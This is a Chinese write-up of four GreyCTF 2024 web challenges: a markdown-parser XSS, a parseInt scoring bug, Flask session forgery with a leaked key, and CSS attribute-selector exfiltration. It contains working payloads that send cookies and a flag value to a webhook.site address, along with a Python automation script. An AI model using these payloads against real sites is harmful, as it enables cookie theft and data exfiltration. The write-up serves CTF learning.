graycatCTF2024 wp
一场国际小比赛,闲的时候上去做了两题
Markdown Parser(114 solves / 100 points)
题目给了附件,打开题目,发现有一个写markdown的地方,写好之后会自动帮你把格式转换好,之后交给后台检查,那么就是xss,我们直接看源代码,直接看最关键的文件,是怎么格式化markdown的
function parseMarkdown(markdownText) {
const lines = markdownText.split('\n');
let htmlOutput = "";
let inCodeBlock = false;
lines.forEach(line => {
if (inCodeBlock) {
if (line.startsWith('```')) {
inCodeBlock = false;
htmlOutput += '</code></pre>';
} else {
htmlOutput += escapeHtml(line) + '\n';
}
} else {
if (line.startsWith('```')) {
language = line.substring(3).trim();
inCodeBlock = true;
htmlOutput += '<pre><code class="language-' + language + '">';
} else {
line = escapeHtml(line);
line = line.replace(/`(.*?)`/g, '<code>$1</code>');
line = line.replace(/^(######\s)(.*)/, '<h6>$2</h6>');
line = line.replace(/^(#####\s)(.*)/, '<h5>$2</h5>');
line = line.replace(/^(####\s)(.*)/, '<h4>$2</h4>');
line = line.replace(/^(###\s)(.*)/, '<h3>$2</h3>');
line = line.replace(/^(##\s)(.*)/, '<h2>$2</h2>');
line = line.replace(/^(#\s)(.*)/, '<h1>$2</h1>');
line = line.replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>');
line = line.replace(/__(.*?)__/g, '<strong>$1</strong>');
line = line.replace(/\*(.*?)\*/g, '<em>$1</em>');
line = line.replace(/_(.*?)_/g, '<em>$1</em>');
htmlOutput += line;
}
}
});
return htmlOutput;
}
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
module.exports = {
parseMarkdown
};
有了之前比赛的经验,一眼就能看到这里有能注入的地方
htmlOutput += '<pre><code class="language-' + language + '">';
用引号把他闭合,随即构造出payload
```js" onload="alert(1)
```
上传解析后构造出来的是下面标签
<code class="language-js hljs language-javascript" onload="alert(1)" data-highlighted="yes"></code>
但是发现并没有弹窗
随后我尝试了onerror onblur onfocus ononline等等都没有效果,就只有一个onclick有效果,但是我们看到机器人是没有click的动作的,也是在这一个地方钻的太死了,随后就想到用尖括号闭合后再构造一个<script>出来,构造下面payload
```12"><script>alert(1)</script>"
```
成功弹窗
被解析后的代码如下
<code class="language-12"><script>alert(1)</script>""></code>
那么接下来就是把cookie弹到接收站
构造下面
```12"><script>fetch(`https://webhook.site/886c0266-b6f5-4dc0-ae07-a9565f6b907a/`+document.cookie)</script>"
```
上传后台得到下面收包
获得flag
grey{m4rkd0wn_th1s_fl4g}
Greyctf Survey(154 solves / 100 points)
同样题目给了源码,题目里面有个滑条,然后提交,不知道要干什么,直接看源码
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const port = 3000
const config = require("./config.json");
app.use(bodyParser.json())
app.use("/", express.static("static"))
let score = -0.42069;
app.get("/status", async (req, res)=>{
return res.status(200).json({
"error": false,
"data": score
});
})
app.post('/vote', async (req, res) => {
const {vote} = req.body;
if(typeof vote != 'number') {
return res.status(400).json({
"error": true,
"msg":"Vote must be a number"
});
}
if(vote < 1 && vote > -1) {
score += parseInt(vote);
if(score > 1) {
score = -0.42069;
return res.status(200).json({
"error": false,
"msg": config.flag,
});
}
return res.status(200).json({
"error": false,
"data": score,
"msg": "Vote submitted successfully"
});
} else {
return res.status(400).json({
"error": true,
"msg":"Invalid vote"
});
}
})
app.listen(port, () => {
console.log(`Survey listening on port ${port}`)
})
代码很好懂,滑动滑条,提交vote,score会加上一个vote如果score的值大于1,那么就输出flag,按照理论来说随便传两个0.99就通过了,但是发现还是没有flag,并且这个比赛都是公共靶机,如果有人一直恶意发包那么score的值就永远是-0.42069,那么我们就要找找其他的漏洞,我们可以看到在增加score的地方
score += parseInt(vote);
这里用了parseInt来将vote转换成整型int,但是parseInt函数有一个问题,参考文章
文章里测试到
parseInt(0.5); // => 0
parseInt(0.05); // => 0
parseInt(0.005); // => 0
parseInt(0.0005); // => 0
parseInt(0.00005); // => 0
parseInt(0.000005); // => 0
parseInt(0.0000005); // => 5
这是因为0.0000005会被解析成科学技术法5e-7
所以只要传0.0000005就能大于1了
抓包改值发送
得到flag
grey{50m371m35_4_l177l3_6035_4_l0n6_w4y}
Baby Web(183 solves / 100 points)
给了一个附件,里面是python flask的代码,是一段不完整的代码,先看源码
import os
from flask import Flask, render_template, session
app = Flask(__name__)
app.secret_key = "baby-web"
FLAG = os.getenv("FLAG", r"grey{fake_flag}")
@app.route("/", methods=["GET"])
def index():
# Set session if not found
if "is_admin" not in session:
session["is_admin"] = False
return render_template("index.html")
@app.route("/admin")
def admin():
# Check if the user is admin through cookies
return render_template("admin.html", flag=FLAG, is_admin=session.get("is_admin"))
### Some other hidden code ###
if __name__ == "__main__":
app.run(debug=True)
判断is_admin是否等于true,给了secret_key那么就非常方便能伪造了
打开网站拿到session
eyJpc19hZG1pbiI6ZmFsc2V9.ZiVFcQ.w2yt1Nh884RwoYjrrtGaB20CBMs
然后丢到flask session的爆破脚本里
python3 flask_session_cookie_manager3.py decode -c "eyJpc19hZG1pbiI6dHJ1ZX0.ZiP8Eg.17rmypB5zIhBJp9Ve4pgJfLwJsw" -s "baby-web"
爆破拿到格式
{'is_admin': False}
之后伪造
python3 flask_session_cookie_manager3.py encode -s "baby-web" -t "{'is_admin': True}"
得到伪造的session
eyJpc19hZG1pbiI6dHJ1ZX0.ZiVFrw.5KhLMB4XVo0BjmX4iJXPb5Am3z0
伪造成功访问admin还是没有拿到flag,但是看源码,flag是传到admin页面的,我们看源码
<html lang="en"><head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Bootstrap demo</title>
<link async="" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH" crossorigin="anonymous">
<style> .htmx-indicator{opacity:0} .htmx-request .htmx-indicator{opacity:1; transition: opacity 200ms ease-in;} .htmx-request.htmx-indicator{opacity:1; transition: opacity 200ms ease-in;} </style><style type="text/css">#_copy{align-items:center;background:#4494d5;border-radius:3px;color:#fff;cursor:pointer;display:flex;font-size:13px;height:30px;justify-content:center;position:absolute;width:60px;z-index:1000}#select-tooltip,#sfModal,.modal-backdrop,div[id^=reader-helper]{display:none!important}.modal-open{overflow:auto!important}._sf_adjust_body{padding-right:0!important}.super_copy_btns_div{position:fixed;width:154px;left:10px;top:45%;background:#e7f1ff;border:2px solid #4595d5;font-weight:600;border-radius:2px;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,PingFang SC,Hiragino Sans GB,Microsoft YaHei,Helvetica Neue,Helvetica,Arial,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol;z-index:5000}.super_copy_btns_logo{width:100%;background:#4595d5;text-align:center;font-size:12px;color:#e7f1ff;line-height:30px;height:30px}.super_copy_btns_btn{display:block;width:128px;height:28px;background:#7f5711;border-radius:4px;color:#fff;font-size:12px;border:0;outline:0;margin:8px auto;font-weight:700;cursor:pointer;opacity:.9}.super_copy_btns_btn:hover{opacity:.8}.super_copy_btns_btn:active{opacity:1}</style></head>
<body>
<nav class="navbar navbar-expand-lg bg-body-tertiary">
<div class="container-fluid">
<a class="navbar-brand" href="/">Baby Web</a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarNav">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="/admin">Admin</a>
</li>
</ul>
</div>
</div>
</nav>
<div class="container">
<div class="container" role="doc-abstract">
<h2>Admin Page</h2>
<p>This website is still under construction. I have completed the admin page where only I can access.</p>
<p>Too bad my secret is not so easily given away</p>
</div>
<button type="button" class="btn btn-primary" data-bs-toggle="modal" data-bs-target="#exampleModal" hidden="">
Super Secret Admin Button
</button>
<!-- Modal -->
<div class="modal fade" id="exampleModal" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h1 class="modal-title fs-5" id="exampleModalLabel">Admin Modal</h1>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
Wow!, you found the super secret admin button.
<br>
<button hx-get="/flag" hx-swap="outerHTML" class="btn btn-secondary">
Here is an even more secret button.
</button>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
</div>
<script async="" src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"></script>
<script src="https://unpkg.com/htmx.org@1.9.11"></script>
</body></html>
我们可以看到有个这个按钮
<button type="button" class="btn btn-primary" data-bs-toggle="modal" data-bs-target="#exampleModal" hidden="">
Super Secret Admin Button
</button>
里面有个hidden=""属性
隐藏了这个按钮,我们只要把这个属性删掉,这个按钮就回来了
之后点击按钮得到flag
grey{0h_n0_mY_5up3r_53cr3t_4dm1n_fl4g}
Beautiful Styles(70 solves / 100 points)
给了一个html,然后让我们自己写css来修改这个html的样式,html代码如下
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>My Beautiful Site</title>
<link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css"
rel="stylesheet"
integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN"
crossorigin="anonymous"
/>
<link href="/uploads/{{submit_id}}.css" rel="stylesheet" />
</head>
<body>
<div class="container">
<h1 id="title">Welcome to my beautiful site</h1>
<p id="sub-header">
Here is some content that I want to share with you. An example can be
this flag:
</p>
<input id="flag" value="{{ flag }}" />
</div>
<div class="container mt-4">
<form action="/judge/{{submit_id}}" method="post">
<input type="submit" value="Submit for judging">
</form>
</div>
<script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"
integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"
crossorigin="anonymous"
></script>
</body>
</html>
上传上去预览样式之后可以上传后台,由管理员检查,那么可以确定是xss了,目的应该是要我们读取
<input id="flag" value="{{ flag }}" />
中{{ flag }}的内容,通过css来xss,直接看这篇文章(波兰语,看不懂机翻)
简单解释一下就是
下面是匹配input标签中value值为abc的标签
input[value="abc"] {
}
下面是匹配input标签中value值为的开头为a的标签
input[value^="a"] {
}
然后
background: url(https://webhook.site/886c0266-b6f5-4dc0-ae07-a9565f6b907a/);会对地址进行访问
结合一下
input[value^="g"] {
background: url(https://webhook.site/886c0266-b6f5-4dc0-ae07-a9565f6b907a/g);
}
就会匹配对应位置的字母,通过是否能接收到来进行盲注,下面是盲注代码,因为要两段访问获取,所以用bs4进行匹配一下,至于连续的爆破字符,需要通过接收站的api,过于麻烦就没有写,之后,题目提示
Flag only consists of numbers and uppercase letters and the lowercase character
f(the exception is the flag format of grey{.+})Flag仅由数字、大写字母和小写字符
f组成(例外情况是Flag格式为grey{.+})
那么我们就能构造出盲注代码
import requests
from bs4 import BeautifulSoup
headers = {
"Host": "challs.nusgreyhats.org:33339",
"Content-Length": "149",
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Origin": "http://challs.nusgreyhats.org:33339",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://challs.nusgreyhats.org:33339/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close",
}
arr="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZf}"
for i in arr:
payload="grey{X5S34RCH1fY0UC4NF1ND1T}"+i
print(payload)
data = {
"css_value": 'input[value^="'+payload+'"]{background:url(https://webhook.site/886c0266-b6f5-4dc0-ae07-a9565f6b907a/'+payload+');}'
}
print(data)
url = "http://challs.nusgreyhats.org:33339/submit"
response = requests.post(url, headers=headers, data=data)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
# 查找<form>标签中的action属性值
form_action = soup.find('form').get('action')
judge_url = 'http://challs.nusgreyhats.org:33339' + form_action
judge_headers = {
'Host': 'challs.nusgreyhats.org:33339',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close'
}
judge_data = {}
judge_response = requests.post(judge_url, headers=judge_headers, data=judge_data)
if judge_response.status_code == 200:
print("Judge request successful.")
else:
print("judge request. Status code:", judge_response.status_code)
print(judge_response.text)
else:
print("Failed to retrieve form action URL. Status code:", response.status_code)
每循环完一次,就检查接收站哪个收到了信息,然后添加到payload里进行下一次的爆破
得到flag
grey{X5S34RCH1fY0UC4NF1ND1T}